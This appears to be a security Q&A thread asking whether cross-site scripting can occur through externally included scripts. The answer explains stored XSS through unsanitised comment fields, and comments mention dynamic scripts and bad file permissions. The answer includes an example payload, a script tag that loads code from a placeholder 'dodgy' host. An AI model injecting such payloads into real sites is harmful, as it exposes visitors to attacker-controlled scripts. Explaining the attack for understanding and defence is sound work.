I'm working on XSS vulnerability and understanding it. I know in following cases cross site script injection happen in Javascript context

  1. Inside <script> tag.
  2. Inside html tag in event handler attributes values.
  3. Within attribute value, in javascript: URL.

Now, Is there any possibility of XSS attack on JavaScript included directly using "src" attribute.

e.g. <script src="./importjavascript.js"></script>

If yes, then could you please provide me example?

  • 1
    To get good answers, you should clarify your question. It is currently completely unclear where the user input is. Is the string importjavascript.js user controlled? Or the content (or part of the content) of that script? Or is nothing user controlled, and you are worried that someone might still change the script?
    – tim
    Apr 16, 2016 at 9:04

1 Answer 1


Yes, and quite easily (if I understand the question correctly).

If a website has a comments section which allows the user to post anything (or any section where it allows a user/visitor to post anything) and it outputs what they enter exactly as it appears without any sanitation, they could enter something like:

<script src="http://dodgy.url/badscript.js"></script> 

If that was then output as regular HTML, then anyone visiting the page would have that script loaded for them, probably without the website owner knowing about it.

  • No, I suppose my question may not be clear. But I mean, Can we inject XSS into included java script "importjavascript.js" ?
    – BSalunke
    Apr 15, 2016 at 12:46
  • If javascript.js is generated dynamically and uses untrusted data with incorrect encoding then the answer is probably. Apr 15, 2016 at 13:58
  • I'd also guess if the file permissions and server configuration were incorrectly set, the file could be modified by a malicious source and served up with every request
    – gabe3886
    Apr 15, 2016 at 14:11
  • @BSalunke, from what i can see in ur question, u can manipulate what the importjavascript.js elements with the method @gabe3886 presented. And if u want to inject directly to the server that dynamically produced it, well u can't if ur only exploiting XSS.
    – rockStar
    Apr 15, 2016 at 15:32

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .